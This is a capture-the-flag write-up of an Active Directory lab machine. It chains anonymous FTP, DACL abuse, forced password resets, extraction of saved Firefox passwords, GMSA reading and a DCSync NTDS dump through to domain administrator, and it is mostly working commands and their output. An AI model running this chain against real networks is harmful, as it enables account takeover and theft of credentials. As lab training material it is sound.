APISEC-CON CTF May 2025 - Write-ups
Write-ups for APISEC-CON CTF May 2025 challenges.
StellarComms is a medium-difficulty Active Directory machine that demonstrates a realistic privilege escalation chain through DACL abuse and credential recovery. Initial access is gained through anonymous FTP, which leaks credentials in a user guide PDF. The junior.analyst account has WriteOwner permissions over a security group, allowing escalation to ops.controller via ForceChangePassword. From there, Firefox password recovery reveals credentials for astro.researcher, who possesses WriteDacl over eng.payload. This account can read the GMSA password of a computer account with DCSync privileges, ultimately leading to domain administrator access through NTDS dumping.
Stellar Communications, a regional telecommunications provider, has retained the Hack Smarter Red Team to conduct a covert internal network penetration test. The client is concerned about the resilience of their internal Active Directory infrastructure against insider threats and compromised VPN endpoints.
Your objective is to simulate a compromised remote worker, pivot through the internal network, and demonstrate the ability to compromise high-value targets.
Our initial access team has successfully established a VPN tunnel into the environment. We have identified a valid username, likely belonging to a new hire or junior staff member.
Valid User:
junior.analystI’ll start with a full TCP port scan of the target:
nmap -p- -sCV 10.1.128.224
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 09-12-25 11:29AM <DIR> Docs
| 09-10-25 11:15AM <DIR> IT
|_09-10-25 11:44AM <DIR> Pics
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: stellarcomms.local)
445/tcp open microsoft-ds
<SNIP>
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
The scan reveals a Windows Domain Controller for the stellarcomms.local domain. Anonymous FTP is enabled, and WinRM (5985) is available for remote management.
I’ll connect to FTP anonymously and browse the available directories:
ftp 10.1.128.224
Name: anonymous
Password:
230 User logged in.
ftp> ls -la
09-12-25 11:29AM <DIR> Docs
09-10-25 11:15AM <DIR> IT
09-10-25 11:44AM <DIR> Pics
I’ll recursively download all accessible files:
ftp> prompt off
ftp> cd Docs
ftp> binary
ftp> mget *
The Docs folder contains several PDFs and text files related to satellite communications and LEO reports. The IT folder contains a Firefox installer (Firefox might be installed on the target), and Pics contains team photos and satellite images.
Examining the downloaded files, I find a password in Stellar_UserGuide.pdf:
_image.png)
The password works for:
junior.analyst{hidden}I’ll collect BloodHound data to map attack paths:
nxc ldap 10.1.128.224 -u 'junior.analyst' -p '{hidden}' --bloodhound --collection All --dns-server 10.1.128.224
After importing the data into BloodHound, I discover that:
_image-1.png)
junior.analyst has WriteOwner on the STELLAROPS-CONTROL groupSTELLAROPS-CONTROL has ForceChangePassword over ops.controllerops.controller is a member of Remote Management UsersFirst, I’ll set myself as the owner of the STELLAROPS-CONTROL group:
bloodyAD --host 10.1.128.224 -d stellarcomms.local -u JUNIOR.ANALYST -p '{hidden}' set owner STELLAROPS-CONTROL JUNIOR.ANALYST
[+] Old owner S-1-5-21-1085439814-3345093241-3808503133-512 is now replaced by JUNIOR.ANALYST on STELLAROPS-CONTROL
Now I’ll grant myself WriteMembers permission on the group:
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'junior.analyst' -target-dn 'CN=STELLAROPS-CONTROL,CN=USERS,DC=STELLARCOMMS,DC=LOCAL' 'stellarcomms.local'/'junior.analyst':'{hidden}'
[*] DACL modified successfully!
I’ll add myself to the group:
bloodyAD --host 10.1.128.224 -d stellarcomms.local -u JUNIOR.ANALYST -p '{hidden}' add groupMember STELLAROPS-CONTROL JUNIOR.ANALYST
[+] JUNIOR.ANALYST added to STELLAROPS-CONTROL
With ForceChangePassword permissions, I’ll reset the target’s password:
bloodyAD --host 10.1.128.224 -d stellarcomms.local -u junior.analyst -p '{hidden}' set password OPS.CONTROLLER 'Peixoto1234!'
[+] Password changed successfully!
I can now connect via WinRM:
evil-winrm -i 10.1.128.224 -u ops.controller -p 'Peixoto1234!'
*Evil-WinRM* PS C:\Users\ops.controller\Desktop> type user.txt
FLAG[{hidden}]
From reading some of the documents present in the Docs folder in FTP it was fair to imply that credentials might be stored in Firefox.
_image-2.png)
Exploring the user’s profile, I find a Firefox installation with saved credentials:
*Evil-WinRM* PS C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles> Get-ChildItem -path . -recurse -file | select-string password
I discover logins.json and key4.db in the Firefox profile directory v8mn7ijj.default-esr. I’ll download both files:
*Evil-WinRM* PS C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr> download logins.json .
*Evil-WinRM* PS C:\Users\ops.controller\AppData\Roaming\Mozilla\Firefox\Profiles\v8mn7ijj.default-esr> download key4.db .
Using firepwd, I’ll decrypt the stored credentials:
python3 firepwd.py
password check? True
decrypting login/password pairs
http://portal.stellarcomms.local:b'astro.researcher',b'{hidden}'
The credentials are:
astro.researcher{hidden}Checking BloodHound for astro.researcher, I find:
astro.researcher has WriteDacl over eng.payload_image-3.png)
I’ll grant myself GenericAll permissions on the target:
bloodyAD --host 10.1.128.224 -d stellarcomms.local -u 'astro.researcher' -p '{hidden}' add genericAll 'CN=ENG PAYLOAD,CN=USERS,DC=STELLARCOMMS,DC=LOCAL' astro.researcher
[+] astro.researcher has now GenericAll on CN=ENG PAYLOAD,CN=USERS,DC=STELLARCOMMS,DC=LOCAL
With GenericAll, I can reset the password:
bloodyAD --host 10.1.128.224 -d stellarcomms.local -u 'astro.researcher' -p '{hidden}' set password ENG.PAYLOAD 'Peixoto1234!'
[+] Password changed successfully
Checking BloodHound for eng.payload, I discover:
eng.payload has ReadGMSAPassword on the SATLINK-SERVICE$ computer account_image-4.png)
I’ll retrieve the GMSA password hash:
nxc ldap 10.1.128.224 -u 'ENG.PAYLOAD' -p 'Peixoto1234!' --gmsa
LDAP 10.1.128.224 389 DC-STELLAR Account: SATLINK-SERVICE$ NTLM: {hidden}
_image-5.png)
Checking BloodHound again, SATLINK-SERVICE$ has DCSync rights over the domain. I’ll use this to dump the Administrator hash:
nxc smb 10.1.128.224 -u 'SATLINK-SERVICE$' -H '{hidden}' --ntds --user Administrator
SMB 10.1.128.224 445 DC-STELLAR [+] Dumping the NTDS...
SMB 10.1.128.224 445 DC-STELLAR Administrator:500:aad3b435b51404eeaad3b435b51404ee:{hidden}:::
With the Administrator hash, I’ll authenticate via WinRM:
evil-winrm -i 10.1.128.224 -u Administrator -H {hidden}
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
{hidden}